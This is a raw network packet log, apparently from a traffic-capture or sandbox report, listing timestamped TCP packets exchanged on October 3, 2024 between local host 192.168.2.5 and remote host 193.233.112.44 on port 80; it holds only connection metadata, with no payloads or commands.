Oct 3, 2024 23:17:11.468381882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468420029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468425035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468458891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468461037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468496084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468497992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468537092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468552113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468586922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468586922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468622923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468656063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468656063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468657970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468693018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468702078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468728065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468734980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468761921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468769073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468799114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468802929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468841076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468895912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468930006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468938112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468966007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468966007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.469001055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.469007969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.469034910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.469039917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.469077110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.469137907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.469181061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.559041977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.564244032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915607929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915677071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915695906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915714025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915728092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915749073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915757895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915785074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915791035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915819883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915826082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915858984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915874958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915914059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915916920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915952921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915955067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.915982962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.915992975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.916018963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.916023970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.916059017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987608910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987679958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987689972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987714052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987725019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987750053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987756968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987787008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987791061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987823009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987827063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987862110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987863064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987905025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.987962008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.987997055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988004923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988032103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988034964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988066912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988070965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988104105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988107920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988141060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988148928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988182068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988348961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988383055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988404036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988416910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988418102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988452911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988456964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988487959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988497019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988522053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988528967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988558054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988562107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988591909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988604069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988629103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.988631964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.988672972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058480024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058521986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058549881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058556080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058567047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058593988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058610916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058645964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058653116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058685064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058698893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058732033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058738947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058768034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058772087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058809996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058851004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058893919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.058949947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058983088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.058990955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059014082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059037924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059073925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059079885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059108019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059120893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059187889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059205055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059247017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059289932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059324980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059333086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059369087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059470892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059504986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059513092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059539080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059566975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059575081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059578896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059613943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059616089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059653997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059891939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059925079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059950113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059958935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059971094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.059993029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.059999943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060029030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060034037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060064077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060069084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060101986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060103893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060143948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060143948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060180902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060534954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060569048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060590029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060602903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060607910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060636997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060646057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060672045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060679913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060705900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060720921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060741901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060748100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060774088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060781956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060808897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060811996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060842991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060847998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060877085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060880899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060910940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060916901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060947895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060966015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.060981989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.060987949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.061026096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130347967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130393982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130424976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130451918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130454063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130489111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130489111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130522966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130527973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130559921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130562067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130595922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130608082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130631924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130641937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130667925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130676985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130713940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130721092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130755901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130765915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130789995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130800009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130825043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130834103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130861044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130867958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130891085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130904913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130924940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130939960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.130960941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.130966902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131000042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131006956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131045103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131141901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131176949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131191015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131213903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131259918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131294966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131309032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131330967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131331921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131361008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131371975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131402969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131531000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131565094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131582022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131598949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131601095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131633043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131639004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131669998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131679058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131705046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131716013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131740093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.131751060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.131783962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132060051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132090092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132113934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132126093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132127047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132160902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132169962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132194996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132205009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132230997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132240057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132266998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132277012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132302046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132307053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132335901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132344961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132370949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132378101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132405043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132415056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132438898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132438898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132472038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132483959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132508993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132515907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132553101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.132965088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.132999897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133013964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133033037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133037090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133069038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133073092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133111000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133114100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133147955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133158922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133182049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133187056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133218050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133227110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133253098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133264065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133289099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133291960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133323908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133333921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133358955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133368969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133393049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133403063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133429050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133438110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133474112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133918047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133953094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.133966923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133985996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.133991957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134026051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134030104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134059906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134069920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134094954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134104967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134130955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134140015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134166956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134176970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134201050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134205103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134237051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134244919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134269953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134280920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:12.134305000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:12.134314060 CEST	49710	80	192.168.2.5	193.233.112.44
